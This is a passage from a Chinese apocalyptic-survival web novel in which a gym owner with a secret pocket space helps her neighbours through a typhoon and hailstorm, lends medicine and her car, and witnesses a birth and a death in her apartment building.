想到楼里之前某些人得寸进尺的行为，秦小薇还找了张A4纸,在门口贴了个公告。 提醒大家健身房电量供应不足,只能给手机之类的小功率电子产品充电，用太大功率的电器会断电,让邻居们互相监督，如果有人用了大功率电器，导致健身房断电,她会把插线板收回去。 健身房里某个学过绘画的教练还画了几张简笔画,贴在公告边上，提醒大家不要用大功率的电器。 毕竟还要在这里做生意，秦小薇还是希望能和邻居们搞好关系。 当然,他们要是得寸进尺，占便宜无底线,她也不介意和他们撕破脸…… 贴完了公告,众人又回健身房玩狼人杀了。 可能是因为吃住都有保障，健身房的“老板”又背景深厚，员工们暂时不用担心失业的问题,众人并没有因为冰雹和即将到来的台风表现出太消极的情绪。 只是部分员工有些担心她们的家人，神情中偶尔会流露出一丝担忧…… 几天后，众人开始适应现在的情况，虽然外面的温度有些低,但最低温也就零下三四度，多穿点衣服，及时补充食物，还不至于被冻出什么问题…… 不过，要是没有准备厚衣服和厚被子御寒，那情况可就说不准了！ 除了健身房，楼里还有好几户也没断电，他们也和秦小薇一样，拉了插线板让楼里的人充电，不过在健身房门口充电是免费的，去其他家充，就得收费了。 差不多3－10块钱一小时，也只能给手机之类的小功率电器充电。 健身房门口就两个插线板，他们还不准其他的住户自己拉线，免得电流负荷过大烧了……所以，抢不到免费充电位的住户，就只能去其他家付费充电。 刚开始的时候，还有人来找秦小薇，让她也跟着一起收钱，要不然他们都收钱，她免费，顾客心里会不舒服。 秦小薇直接拒绝了，楼上这么多员工，现在天气又不好，本来供电压力就很大，就算她想卖电赚钱，也赚不了多少，还不如利用这点电在楼里搏个好口碑。 这天早上，秦小薇早早就进了空间，海鲜餐厅昨晚就完成施工了，她已经迫不及待想尝尝餐厅里出产的东西了。 餐厅里出产的东西每份都很大，还自带一次性餐盒和大汤碗。 她没管其他的工坊，拿到东西后，就直奔露天厨房，拿出筷子尝味道。 钓竿钓上来的那些鱼肉虾肉，她自己做饭的时候，就觉得很好吃了，但海鲜餐厅出产的这几样东西，味道更加惊艳。 火候、味道，一切都刚刚好！ 光是番茄虾滑汤的汤汁，她就能就着汤汁，干掉两碗白米饭！ 她以为是减肥餐的海鲜沙拉，也特别好吃！ 椒盐虾更是绝了！口感又Q又弹，味道简直能鲜掉人的舌头…… 她热了几个馒头，就着桌上的三道菜，吃了一顿异常丰盛的早饭。 三道菜的分量太多，秦小薇一次没吃完，她也没浪费，把它们收进仓库里，打算下次接着吃。 今天有空多煮点米饭吧！感觉炒菜配米饭最好吃！ 她心里盘算着，飞快收拾好碗筷，去工坊和牲畜棚转了一圈，处理了一堆杂事。 到了牲畜棚后，秦小薇惊讶地发现，兔笼里多了快二十个粉色的肉球——昨天半夜，有两只母兔子一起生产了。 看到这些连毛都没长出来的小兔子，秦小薇赶紧重新设置了一下机器人的程序，增加巡逻次 数、调整饲料比例，让它们能更好地照顾母兔子和小兔子…… 她之前上网查过，这个品种的兔子三个多月就可以出栏，再过三个月，她就可以吃到红烧兔肉、兔肉咖喱、辣子兔……想想口水就要流下来了。 出了空间后，她给陆昼发了条消息。 【秦小薇：家里的兔子生小兔子了，生了19只，过几个月，就可以吃兔肉了。】 【陆昼：知道了。】 【陆昼：[链接]】 【陆昼：[链接]】 【陆昼：[链接]】 秦小薇点开链接看了看，链接的主要内容是母兔的产后护理，以及刚出生的小兔子该如何进行健康监测、环境维护…… 秦小薇：“……”他难道忘了，她空间里有机器人吗？ 这些事，根本就轮不到她操心，实际上，她也不想操心，她很担心自己和它们接触多了，养出了感情，就不舍得吃了…… 对于陆昼分享的那些链接，秦小薇选择已读不回，相信陆昼会明白她的态度的。 第一波台风已经到达宁市了，从昨天晚上开始，外面就一直特别吵，风和冰雹把窗户拍得“哗哗”响，十分恼人。 秦小薇上网看了看，受到台风的影响，有些人家里的大门打开之后，竟然就关不上了…… 不过他们公寓楼走廊里的窗户都用东西封上了，暂时不用担心这种事。 忽然，楼上传来“砰”一声巨响，声音比之前大很多，连带着楼体都震了震，秦小薇不知道发生了什么，她走到阳台边上，拉开窗帘朝外面看了看…… 然后，她就看到外面有一片窗框在风里飞，没过多久，楼上忽然飞出去一个人…… 秦小薇：？？？ 她还以为自己看错了，还拿出手机对着空中的人拍了张照。 手机的像素很高，放大后，她可以清晰地看到，那人身上穿着的衣服的花纹。 这台风也太猛了，连人都能吹上天…… 秦小薇被吓了一跳，连忙收起手机，她利用仓库，迅速挪了下家里的家具，把窗户全都堵了起来。 堵完了窗户，秦小薇把刚刚拍的照片发到了群里。 【秦小薇：[图片][图片]】 【秦小薇：大家离窗户远一点，楼上有户人家的窗框被风吹跑了，人也被吹出去了。】 【肖琳琳：妈呀，那个人要是掉下来，得被摔成肉泥吧！】 【周文：我们屋里的窗户小，应该没这么危险。】 【何玥：还是找木条把窗户钉起来吧！太吓人了！】 【范槿：我之前还觉得安全屋的窗户设计得太小了，现在看来，设计师要是把窗户设计大了，就不能叫安全屋了……】 秦小薇和大家在群里聊了一会，忽然听到外面走廊上有人在喊救命。 【秦小薇：我好像听到走廊上有人在喊救命，是我听错了吗？】 【范大勇：我去看看。】 过了一会儿，范爸爸在群里传回了第一手消息。 【范大勇：6004有个孕妇刚刚滑倒了，羊水破了，估计要早产，她老公正在找人借车送她去医院。】 秦小薇：“……”这种时候开车去医院，很容易出事的，有可能还没到医院，车子就被台风吹天上去了，谁敢借车给他啊！ 过了一会儿，业主群里也有人在说这件事。 不过，业主们讨论的是楼里有没有医生，能不能找几个有生育经验的阿姨，帮忙接生一下。 毕竟现在送医院真的不现实…… 秦小薇既不是医生，也没有生育经验，自然是帮不上忙，只能默默围观。 过了一会儿，外面的走廊就变得热闹起来，秦小薇凑到门后听了听，楼里似乎是有人准备帮那位孕妇接生…… 她拉开房门朝外面看了看，见门能正常开关，她才悄悄松了口气。 “谁家有煤气，帮忙烧个热水！” “有没有产褥垫，拿几张过来垫一垫……这床太脏了！会生病的！没有？！你老婆肚子都这么大了，你连待产包都不准备？” “我上次做手术还剩了几张护理垫，我去拿过来！” “能不能拉个帘子，把这里挡一挡？” “你一个男的在这杵着干什么？又不是你老婆生孩子，出去出去！” “……” 秦小薇顺着声音找了过去，6004门内门外都挤着不少人，小部分人在忙着帮孕妇接生，大部分则是在家里待得太无聊了，过来凑热闹吃瓜的。 她观察了一下，发现指挥的竟然是两个之前来过她健身房占便宜的大妈！ 虽然在涉及自己利益的时候，大家都有自己的小心思，但碰到这种人命关天的大事，大家还是愿意伸把手帮忙的…… 秦小薇忍不住感叹，有时候，还真是不能仅凭一两件事就判断一个人的好坏！ 她在门口站了不到一分钟，就有人冲着她开口道：“哎，你们健身房不是有电吗？能不能帮忙烧个水？” 秦小薇还没回话，边上就有人回答了那人的问题：“她们那健身房供电不行，带不了大功率的电器，门口都贴着呢！” 秦小薇：“健身房烧水可能会跳闸，但是我家有煤气罐，可以帮忙烧点水……” 说着，她就跑回家了。 秦小薇帮忙烧了好几锅水，6004屋里一群人折腾了大半天，那位早产的孕妇才顺利生下一个女儿。 秦小薇没有生育经验，就没有进屋帮忙。 期间，屋里不断传出惨叫，听着比外面台风、冰雹拍打窗户的声音还要瘆人，秦小薇听着孕妇的惨叫声，感觉自己都要恐育了…… 几乎整栋楼的人都在关注这件事，知道孩子生出来、孕妇的命也保住了之后，所有人都松了口气。 之后，众人就各回各家了，只有一个大妈留了下来，告诉那位丈夫之后该怎么照顾孕妇和孩子……秦小薇也没凑热闹，知道孕妇母女平安之后，她就回家了。 一直到晚上，外面的风才变小一些。 秦小薇打开手机看了看，发现这波台风已经快要离开Q省了，正在继续往西移动。 她看了下同城APP上的消息，这波台风的破坏力很大，就算大家都待在室内，依旧造成了不小的破坏。台风过后，原本宁市已经清得差不多的道路，又被各种乱七八糟的杂物占据了。 台风把废墟里的东西卷了起来，砸在安全屋上，个别比较倒霉的安全屋，直接被砸凹了一大块，风太大了，安全屋一直在晃，住在里面的人心惊胆战地等了一整天，等台风过去了，才稍微松了口气…… 台风还带来了一场大雨，市内的下水道网络被之前的地震破坏了，积水流不出去，不少安全屋都进水了，里面的人不敢开门排水，只能一直忍着…… 还有人之前建安全屋的时候偷懒，导致安全屋的质量不过关，屋顶直接被台风掀了，里面的人和行李也被卷走了。 不过真的出事的还是少数，百分之九十五的普通人还是躲在建筑里，平安度过了第一波台风。 看完网上的消息后，秦小薇稍微放心了一些，看网上的新闻，这次的情况好像不是特别严重？ 屋里断电后，一到晚上就黑黢黢的，她玩了会手机，就觉得眼睛被手机屏幕刺得不太舒服。 秦小薇放下手机，直接进了空间，打算给自己搞顿夜宵。 她腌了一些肉和蔬菜，用铁签子串好以后送进了空气炸锅里，在等肉熟的间隙，她又去地里摘了几颗生菜洗干净，打算待会吃生菜包肉。 可能是因为温度适宜，空间里的蔬菜长得特别好，秦小薇现在根本就不愁没菜吃，她甚至还空出了一辆大卡车，放在仓库里，专门装这些吃不完的蔬菜。 有时候收晚了，地里的菜变老了，她还会把它们送去牲畜棚喂牲畜，她自己只挑最嫩、最新鲜的吃…… 美美吃了一顿生菜包肉，她才挺着吃撑的胃，从空间里出去。 好像吃得有点多，明天加练一个小时吧…… 第二天早上，秦小薇在群里看到，楼下装排泄物的那个超大号垃圾桶被台风吹倒了，不仅如此，里面的东西还糊得到处都是，非常恶心……秦小薇看了一眼，就觉得早饭要吃不下去了。 业主们都在讨论，要不要下去打扫一下。 但最后，这事还是不了了之了，一是实在是太恶心了，现在洗澡很麻烦，为了打扫公共区域把身上弄脏实在是不划算；二是台风还有好几波，谁都不知道楼下打扫干净之后，还会不会再来一次；三是之前暴雨的时候，电梯间也出现过这样的情况，但水退后，社区的工作人员和公寓楼请的保洁就把电梯间打扫干净了，还消了很多次毒…… 大家都想着，忍过这二十多天就好了。 但后 面还是有人下了楼，戴着手套，把被吹倒的垃圾桶挪到一楼的楼道里，还把楼道门关上了，免得它再次被吹倒。 下水道被破坏后，他们还是挺需要这个垃圾桶的…… 这天上午，秦小薇在健身房和大家一起玩跳棋的时候，发现有个格斗教练看起来有些心不在焉的，不仅如此，她的表情还有些憔悴，眼袋和黑眼圈也非常明显。 秦小薇没和她们住一起，不知道发生了什么事，便把和她同屋的肖琳琳拉到了一边，问她：“何玥出什么事了？我怎么觉得她状态不太对？” 肖琳琳叹了口气：“何教练她爸妈都住在安全屋里，他们的安全屋前两天台风的时候进水了，她爸妈为了抢救地上的行李，在水里泡了快半个小时，她妈妈刚开始还只是感冒咳嗽，昨天半夜忽然开始发烧了……何教练很担心她妈妈，昨天后半夜都没怎么睡！” 听完肖琳琳的解释，秦小薇也忍不住叹了口气。 这事她真的是鞭长莫及…… 下午的时候，何玥找到秦小薇，有些踟躇地开口道：“店长，你的自行车能借我用一下吗？我妈病了，我想趁着现在冰雹停了，去看看她……” 秦小薇想了想，点头答应了：“你等我一下，我回去拿点东西，等下和你一起下去！” 秦小薇回家进空间里拿了些东西，才提着一大袋东西和何玥一起下楼。 她没让何玥骑自行车，而是把汽车的钥匙给了她：“外面的冰雹指不定什么时候就开始下了，你开车去吧！听说外面地面很滑，你开车的时候小心一点……” 秦小薇把带下来的防滑链安装在车轮上，之后，又给了何玥几颗药：“这是退烧药、这是消炎药，我也不知道有没有用，你拿去给阿姨吃吧！” 何玥攥着那几颗药和车钥匙，激动的声音都有些哽咽：“店长，谢谢你！真的谢谢你……” 秦小薇摆了摆手：“咱们都这么熟了，就不用说谢谢了，你之前不也帮了我吗？教我格斗、陪我练习，都没收我的课时费……” 送走了何玥之后，秦小薇一个人回了楼上。 因为有些担心她，秦小薇便多关注了一下外面的情况，果然，没过多久，外面就又开始下冰雹了，好在何玥已经到达了目的地，不用顶着冰雹赶路…… 因为担心她妈妈，何玥直接在安全屋过夜了，直到第二天中午，才开车回来。 把车钥匙还给秦小薇的时候，她的表情有些愧疚：“店长，对不起，你的车被我弄坏了……” 秦小薇心里一惊，她上下打量着何玥：“你出车祸了？” 何玥连连摆手否认：“没有，就是车子在外面放了一晚，车身上被砸了好多坑，我原本是想把车停在停车场的，但是安全屋附近的停车场在地震的时候就塌了，就只能找东西把车窗挡起来，没想到车玻璃没碎，车顶反而被砸出了坑……” “店长，等台风冰雹结束了，我就找人帮你修……” 在她出门前，秦小薇就做好了自己的车要“负伤”回来的准备，毕竟冰雹的杀伤力是真的很大，还是从空中掉下来的…… 秦小薇：“没事，车子还能继续开就行了，破点我还不用担心小偷会偷车……阿姨的情况怎么样？烧退了吗？” 何玥：“退了，店长你给的药很有用！店长，这次真的谢谢你……那药你多少钱收的？我转给你吧！” 秦小薇：“不用了……你要是真想谢谢我，陪我多练几场就行！” 何玥：“好！我们现在就去……” 秦小薇按住了她：“现在就算了吧！你昨天晚上肯定没睡好，先回去睡一觉，教格斗的事以后再说……” 之后一周，秦小薇和大家一起待在公寓楼里，一次都没出过门。 除了第一次台风来的时候，楼上有户人家的窗户被吹跑了，后面一周，基本上没出什么问题。 除了不能出门，大家要焦虑之后的工作、生存问题，楼里住户的生命安全基本上没受到什么威胁…… 但是，员工宿舍有个员工半夜踢被子，被冻感冒了，又因为她们白天的时候，总是聚在一起聊八卦、玩各种游戏，不到两天，其他人就都被传染了。 秦小薇空间里虽然有很多药，但不方便拿出来。况且还是供应十几个人，真要是拿出来，她自己也会心疼…… 她上网找了些治疗感冒的土方法，从空间里弄了些生姜和葱白出来，让大家熬汤喝，对外就说是之前种在阳台的……因为她家阳台确实一直都是绿油油的，大家也没有怀疑她的说辞。 白天，秦小薇在健身房里和大家一起喝葱姜汤，等回了自己家，她就吃感冒药，不过两三天，她的感冒就好了。 其他人的体质都不错，连着喝了好几天汤，感冒也有了明显的好转…… 一周后的某天，秦小薇忽然接到了陆昼的电话。 陆昼：“来趟我家，我放在你那的东西，我现在要用。” 秦小薇有些惊讶：“你确定？” 她记得之前给他留了半年多的物资吧！这还不到半个月呢？怎么就没了？难道他家被抢劫了？ 陆昼：“嗯，出了点意外。” 秦小薇不方便在电话里问太多，她想了想，回道：“等冰雹停了我再过去，现在出门，我怕车玻璃被冰雹砸碎，糊我一脸……” 陆昼也没非要她现在就出门，回了一个“嗯”就挂断了电话。 第77章 第77章停尸房（双更合一）…… 之后,秦小薇一直在关注外面的天气情况，还上网搜了下极端天气出行的注意事项……虽然几乎所有人的建议都是极端天气不要外出。 不过她还是找到了几条有用的建议，比如给车玻璃贴膜,出门戴头盔,尽量不要靠近高层建筑…… 下午一点多的时候,秦小薇总算是等到冰雹停下来了，她没和其他人打招呼,自己开车离开了公寓。 外面的路面又颠簸又滑,就算车轮上安装了防滑链条，车子依旧打滑,她有时候都觉得方向盘控制不住车子……秦小薇的精神高度紧绷，生怕一个不注意，就出车祸了。 忽然有点后悔答应陆昼出去送物资,早知道外面的路这么难开,她就让陆昼开卡车过来取了！ 因为这些天时不时就要下一场冰雹，有些安全屋外面的冰雹没被及时清走，冰雹就堆在安全屋周围,像是直接把安全屋冻住了……秦小薇直接幻视了她空间里用来储存食物的雪屋。 不敢想象，住在里面会有多冷！ 外面的路上几乎看不到行人,路过一个安全屋聚集点的时候,秦小薇看到有辆运送物资的卡车开了过来，卡车三面漏风，驾驶室里的车玻璃全都没了,里面坐着两个穿着全套装备的军人。 车上绑着大喇叭，提醒安全屋里没有囤够物资的普通人，现在可以出来购买物资了。 大喇叭的声音响了一会儿，安全屋才像是被“唤醒”了,有些市民打开大门，从屋里跑了出来，围到卡车边上购买物资…… 秦小薇路过的时候看了眼物资车，发现里面除了能量饼干和水，还有不少其他的东西，比如牙膏、厚棉衣……像是一个移动小超市。 秦小薇急着去陆昼家，并没有停下来仔细看物资车里的物资种类，只稍微扫了一眼，就开车离开了。 经历了精神高度紧张的三十分钟后，她终于到了目的地。 就算是现在这种鬼天气，小区门口的保安依旧在工作，陌生的车子出入依旧需要登记，不过保安亭做了改造，外面的玻璃全用铁丝网罩住了，只留了两个可以推拉的小窗。 真敬业啊！这种天气还出来上班。 登记完之后，秦小薇开车进了小区，她没把车停在楼下，而是坐了车辆专用的电梯去了陆昼家所在的楼层。 陆昼一开门，秦小薇就闻到了 一股非常香的炸物的味道。 秦小薇：“……你家不是没吃的了？” 陆昼：“你之前留了那么多物资，我就算一天吃十顿，也不可能这么快消耗完。” 秦小薇：“那你叫我过来干什么？” 陆昼：“有个长辈生病了，现在缺药……” 说着，他报出了七八样药品的名字。 秦小薇拳头有点痒：“就这么点东西，你自己开车过来取不行吗？” 她还以为他家的食物没了，一次要补充很多食物，才让她送过来！ 陆昼轻咳一声，转开脑袋不和她对视，他转移话题道：“……你先把药拿出来，我急用。” 秦小薇瞪了他一眼，最后还是进空间，把药拿了出来。 陆昼那位需要用药的长辈就在楼下的“诊所”里，拿到药之后，他就送去楼下了，秦小薇没急着离开，而是在他家等他回来。 坐了没一会，她听到厨房的方向传来“哐当”一声，她顺着声音找过去，就看到拉布拉多正在用脑袋和爪子扒拉厨房料理台上一个盖着盖子的不锈钢盆，上面的盖子已经快被它扒拉下来了。 “香肠？” 听到她的声音，拉布拉多的动作僵住，它缓缓转过头，然后像是无事发生的模样，把两只前爪从料理台上拿了下来，甩着尾巴走到她身边，冲着她笑。 秦小薇：“难怪刚刚没看到你，原来是躲在厨房准备偷吃……让我来看看，陆昼做了什么？” 她凑到不锈钢盆边上看了看，发现是一大盆炸麻花，边上还有一个大盆，里面是半盆还没来得及下锅的面团。 秦小薇：这么悠闲啊！还有时间炸麻花！ 想到自己路上心惊胆战的三十多分钟，她觉得拳头更痒了…… 她没动那盆麻花，她用盖子把不锈钢盆重新盖好，然后把拉布拉多带出了厨房。 秦小薇：“灶上都是热油，你待在这很危险，去客厅吧！” 拉布拉多一步三回头，时不时就回头看一眼料理台上的麻花，嘴里还在不断往下流口水。 秦小薇看得十分好笑：“这么馋吗？陆昼平时是不是虐待你了……” “汪——” 正在这个时候，陆昼开门进来了，听到秦小薇的话，他忍不住打断了一人一狗的“交流”：“你别挑拨离间。” 秦小薇：“我这是合理推测，你要是没虐待它，它会看着一盆麻花流口水，还偷吃……” 在她的印象里，拉布拉多每次找她要吃的，都是要肉吃…… 陆昼皱眉：“它偷吃了？” 秦小薇：“没偷吃成，我及时拦住它了，保住了你那一大盆麻花。” 陆昼的表情却沉了下来，他提着拉布拉多后颈的皮毛把它带到料理台边上，对着料理台上装麻花的不锈钢盆教育它：“香肠，老师是不是教过你，桌上的东西不能碰……” “呜——”拉布拉多转过头，一副心虚不敢和他对视的模样。 秦小薇抱着手臂站在一旁，围观他驯狗，等拉布拉多去面壁了，她才开口：“没想到你私底下对香肠还挺严格……” 陆昼：“它聪明着呢！要是犯错的时候不及时纠正过来，它下次会更加得寸进尺……你不趁着现在冰雹停了回家吗？” 秦小薇勾了勾唇角，把指关节掰得咔咔响：“你让我冒险跑了这么一趟，我还没收报酬呢！” 陆昼瞬间警惕：“你想干什么？” 秦小薇又活动了一下脖子：“不想干什么，在屋里关太久了，想让你帮忙活动一下身体……” 说着，她的拳头就挥了过去。 陆昼：“……” 一番“交锋”之后，陆昼被她按在了地毯上，秦小薇看着被她用膝盖压着的人直皱眉：“陆昼，你是不是不想和我打，故意放水？” 陆昼闭了闭眼，从牙缝里吐出几个字：“你觉得呢？” 看到他满脸屈辱的表情，秦小薇高兴了：“看你这表情……应该是我最近又进步了！不错不错！” 陆昼：“……” 揍了他一顿，秦小薇还不满意，还进了他的厨房，把那一大盆刚炸好的小麻花打包带走了，一根都没给他留。 陆昼：“……” 走之前，秦小薇还不忘问他：“要不要给你留点药，你之后不会突然又给我打电话，让我过来送物资吧？” 陆昼揉了揉眉心：“之后缺物资，我自己开车过去取。” 这还差不多！ 秦小薇满意地离开了。 回去的路上，开车的时候，她依旧是提心吊胆的，直到把车停到地下停车场，她提着的心才彻底放下来。 这种天气，敢开车出门的都是猛人，反正她是不想再有下次了！ 她上楼的时候，刚好碰到了从健身房出来透气的范槿，范槿看着她手上的头盔，有些惊讶：“薇薇，你出去了？” 秦小薇点头：“出去办了点事……我带了麻花回来，吃不吃？” “吃！”范槿直接拿了两根小麻花出来，“还是热的，薇薇你从哪弄到的？” 秦小薇答得含糊不清：“这趟出门，别人给的报酬。” 那一大袋麻花有十几斤，她也没吃独食，直接送了三分之二去健身房，让大家过来玩的时候当零食吃。 反正不是她自己动手炸的，就算拿来做人情，她也不心疼。 可能是因为太久没吃到零食了，也可能是因为陆昼的手艺确实不错，所有人都对小麻花的味道给出了好评。 这些天没什么事干，秦小薇还拉着健身房的教练拍了不少小视频，作为之后宣传的素材。 有一些简单的防身动作的教学、危险情况的模拟，还有她们健身房售卖的防身物品的使用技巧…… 关在家里不能出门的这些日子，有人觉得悠闲，比如秦小薇、肖琳琳；有人觉得焦虑，比如和家人分开的员工……但健身房的整体氛围还是不错的，不像楼里的其他住户，隔三岔五就要闹一场。 有时候是住户和楼道里住的人吵架，嫌他们占地方，把楼道弄得乱糟糟的；但大部分时候，都是楼里一些合租的人因为一些小摩擦吵架。 白天的时候，秦小薇还有心情和同伴一起吃瓜聊八卦，但半夜，被他们吵架的声音吵醒，就不是什么美妙的经历了…… 这天晚上，她睡下没多久就被楼上一阵刺耳的尖叫吵醒了，她一摸耳朵，才发现自己睡前戴的耳塞掉了。 楼上传来一阵尖锐的女声，中间还夹杂着小朋友的哭闹。 女人的声音太大，秦小薇能清晰地听到她的喊叫：“我骂你的时候不要张嘴，听到没有？给我把嘴闭上！闭上！听到了没有？不许哭……” 秦小薇听了几分钟，又打开手机看了看，大概明白了事情的经过，小朋友晚上不睡觉，非要在屋里骑车，然后他妈妈就开始教育他，但这位妈妈很奇怪，骂孩子的时候不准他发出任何声音，也不准他张嘴反驳。 但小朋友的情绪并不像成年人那么稳定，看到妈妈对他发脾气，就吓哭了，然后那位妈妈就精神崩溃了，一边打孩子一边对着他发泄情绪，结果就是两个人一起吵…… 秦小薇 ：“……”就不能白天再教育孩子吗？ 她戴上耳塞，准备继续睡，但可能是因为那个女人太吵了，周围有邻居过去敲门提醒，然后……他们就吵起来了！ 外面更吵了！秦小薇隔着耳塞都能隐约听到他们的声音。 她只能用被子捂住脑袋，整个人都缩进被子里。 当初健身房装修的时候，她怎么没把公寓的隔音也弄一下呢…… 好在她睡眠质量一向不错，虽然中途被吵醒了一次，后半夜却是一觉睡到天亮。 秦小薇第二天早上吃完早饭后，就直接去了健身房，打算和以往一样，和大家一起找点消遣打发今天的时间。 但她待了没一会儿，就见范妈妈提着一个垃圾袋一脸惊恐地跑了进来：“死、死人了！” 秦小薇从饮水机里接了杯温水递过去：“阿姨，别着急，你慢慢说，出什么事了？” 范妈妈握着杯子的手有些抖：“我下楼扔垃圾的时候，看到一个老太太横着躺在楼梯间里，我以为她下楼的时候摔倒了，想过去扶她，谁知道她已经没气了……” 说着，她还伸手比划了一个动作，模仿老太太躺着的姿势。 公寓楼坏掉的电梯都已经换了新的，但因为天气不好，太阳能板供电不稳定，被关在电梯里很难等到救援，现在并没有人敢随便坐电梯，电梯现在依旧是停运的状态，楼里的人平时想要扔个垃圾、倒个粪桶什么的，都得步行下楼。 秦小薇：“先报警吧！我在群里说下这件事，阿姨，你是在几楼的楼道里碰到尸体的？” 范妈妈：“就在四楼的楼梯间里。” 秦小薇打开业主群，在群里说了这件事。 消息刚发出去，群里就炸出了不少人，不过群里并没有业主认领楼道里的尸体。 过了没几分钟，有人在群里发了那位老太太的照片，她歪着脑袋，脑袋和身体折成了一个诡异的角度，躺在楼梯的最后几层阶梯上，瞪着眼睛，盯着头顶的天花板。 一副被摔断了脖子、死不瞑目的模样…… 可能是因为隔着屏幕，也可能是因为这段时间习惯了死人，看到群里的照片，秦小薇并没有觉得害怕。 有业主根据群里的照片认出了自家的租户，很快就去联系她的家人了。 秦小薇他们也联系上了警察，刚好现在外面的冰雹停了，警察很快就过来了，但他们只过来转了一圈，就给出了老太太是自己摔死的结论，让家属自己想办法联系火葬场火化尸体…… 秦小薇：“……”火葬场都被地震震塌了，他们去哪里火化？ 老太太的家属也找到了，他们是一家四口，地震之后才搬过来的，两个老人家带着一个已经四十岁的儿子和一个十几岁的孙子，和其他几家人在十三楼合租了一套房子。 老太太年纪大了，觉少，也起得早，房东通知他们家其他人老太太出事的时候，他们都还在睡觉…… 尸体送不了火葬场，那一家三口只能暂时把老太太的尸体安置在客厅里——反正现在温度低，尸体放几天也不会有味道。 但房东和附近其他住户都接受不了这个处理方法，先不说台风和冰雹还要持续十来天才能结束，就算台风和冰雹结束了，谁知道后面还会不会有其他的灾难，这尸体总不能一直在楼里放着吧？ 那家人租的是一套打通的四室一厅，屋里除了他们一家，还有其他的租客，租客们也接受不了客厅里多一具尸体，觉得太瘆人了。 房东也不能接受自己身价暴涨的房子变成“停尸房”，还说要把房租退回去，让那一家三口带着尸体搬回安全屋去。 那家的三个男人也不是好惹的，那个十几岁的小孙子脾气格外的爆，说着说着就和人吵了起来，后面还动手了，从吵架演变成了一场互殴……但双拳难敌四手，那一家三口最后还是输了。 然后，他们又报警了，经过警察的“调解”，最后众人达成一致——把尸体暂时放在没人用的电梯间里，等天气好一点了，再想办法火化…… 秦小薇没加入这场“互殴”，她和健身房的其他人一起，在走廊里，站得远远地吃瓜…… 秦小薇觉得，虽然大家吵得不可开交，但站在每个人的角度，他们都没有错，只是大家都在维护自己的利益而已。 知道最后的处理结果后，秦小薇和同伴对视了一会儿，一时不知道该说些什么。 放电梯里……以后那台电梯还能坐吗？ 感觉电梯间都要变阴森了！ 以后坐电梯上下楼的时候，她要跳过那台电梯！ 一番混乱过后，这件事就算是过去了，除了……电梯里多了一具死不瞑目的尸体。 这天中午，秦小薇在健身房完成了今日份的锻炼后，就准备回家吃饭、午休了，但她刚拉开健身房的玻璃门，就听到楼道里传来“砰”一声。 紧接着，手里的门把手就不听使唤了，带着她不断往走廊里挪…… 秦小薇自认为力气算是很大了，竟然被风带得完全稳不住自己的身体。 走廊尽头被封住的窗户，刚刚突然被台风吹开了，风力太大，走廊里的人都被风带着往窗户口挪动，原本没关紧的门也都被吹开了…… 门口还有几个人在给手机充电，此刻也完全稳不住身体，正惊恐地大喊大叫。 健身房里其他人听到动静，赶紧跑了过来，他们抱着秦小薇的腰、腿、脚踝，用力把她往屋里拉，试图把玻璃门重新关上……因为他们人多，秦小薇渐渐被拉回了屋里。 “救救我——”有个胖胖的男人连滚带爬地往回跑，最后用手指死死抠住了某个住户家门口的墙。 把秦小薇拉回来之后，屋里的人已经开始锁门了，但听到男人的求救，众人犹豫了一下，开始讨论要不要出去救人。 范妈妈：“找根绳子，看看能不能把人拉回来吧！” “好！”众人纷纷开始行动。 范爸爸作为在场唯一的男性，主动请缨要出去救人，他腰上绑着绳子，绳子的另一端固定在屋里的大型健身器材上，其他人在屋里拉着绳子，防止他被风吹跑了…… 一番折腾后，求救的男人被他们拉回来了，但另外几个，被风吹得太远，绳子不够长，他们想营救也无能为力…… 但窗户口的木条还剩了一些，要是剩下的木条能坚持住，或使他们附近的住户能伸出援手，他们应该也不会有生命危险…… 秦小薇在业主群里发了条消息，提醒大家被封住的窗户可能会被台风吹开，让他们尽量待在家里，不要出门。 众人对这件事的反应很大，纷纷表示，等这一波台风过去了，要再把窗户加固一下，最好是能用东西把窗户口堵死。 毕竟他们走廊里的窗户还是挺大的，暴雨涨水的时候，秦小薇都能通过窗户口，把充气船放下去，窗户不封好，他们以后估计都不敢随便出门倒尿桶了…… 健身房的大门从里面反锁上之后，众人还有些心有余悸——外面“呜呜”的风声实在是太恐怖了！ 秦小薇和大家一起，又推了几台大型健身器材过来，把门堵了个严严实实。 秦小薇：“咱们别待在门口了，往里面走，去没有窗户的地方吧！” “对，往里走，门口也太恐怖了……” “刚刚救人的时候，我的脚一直往外滑，我还以为我也要被台风带走了！” “以后台风来的时候，咱们还是别下楼了，老老实实在屋里待着吧！” “……” 众人说着，往健身房里面走去，被他们救回来的男人，犹豫了一会儿，也跟了上去。 外面的大风要等好几个小时才能停，众人很快平静下来，继续找乐子打发时间。 他们一直等到晚上，外面的风声才变小，众人才打开门，各回各家。 之前没被救回来的几个人依旧在外面，他们没被 吹走，反而是找机会躲去了楼梯间里，在楼梯间里煎熬了几个小时…… 他们每个人的状态看起来都很差，一副被摧残过的模样。 秦小薇正准备开门回家，就听到身后一个男声叫住了她：“薇薇，今天谢谢你救了我！” 她一回头，就看到他们之前救的那个男人，正看着她，笑得一脸羞涩。 秦小薇：“……” 秦小薇面无表情地开口道：“是范叔叔出门拉你的……你要是真想感谢，就去谢他吧！还有，我们不熟，你叫我名字就可以了。” 第78章 第78章重建（双更合一）…… 被秦小薇直白地拒绝后,男人尴尬地笑了笑，转身回了自己家。 等人走了之后，肖琳琳凑过来揽住她的肩膀,调侃她：“薇薇,你魅力可真大,下午咱们那么多人待在一起，人家就注意到你了！” 秦小薇斜了她一眼：“这福气给你要不要？” 肖琳琳吓得连连摆手：“那还是算了！天天在健身房听那些会员的故事,我都要恐男了……” 秦小薇打开房门：“你不回去吃能量饼干吗？大半天没吃东西了,你不饿吗？” 肖琳琳揉了揉自己的胃：“是有点饿……薇薇，你晚上吃什么？” 秦小薇：“做点蔬菜面疙瘩汤,你要来点吗？” 肖琳琳：“可以吗？这多不好意思啊……” 秦小薇见她已经自己打开鞋柜找拖鞋了，忍不住笑了：“我说不可以，你就出去了？” 肖琳琳：“嘿嘿……” 进了厨房后,两人脸上的笑容都凝固了,厨房的窗玻璃碎了一个洞，罩在外面的铁丝网往里面凹了一大块，堵在窗户口的柜子也倒了,里面压箱底的能量饼干撒了一地。 似乎是外面有什么东西砸到铁丝网上，冲击力太大,不仅把窗玻璃给砸碎了,连带着厨房里堵窗户的柜子也给弄倒了。 厨房的地面上全是水，秦小薇放在外面的很多东西也都移位了，好在窗户破的洞不是很大,没损坏太多东西…… 肖琳琳：“这次的台风也太厉害了！” 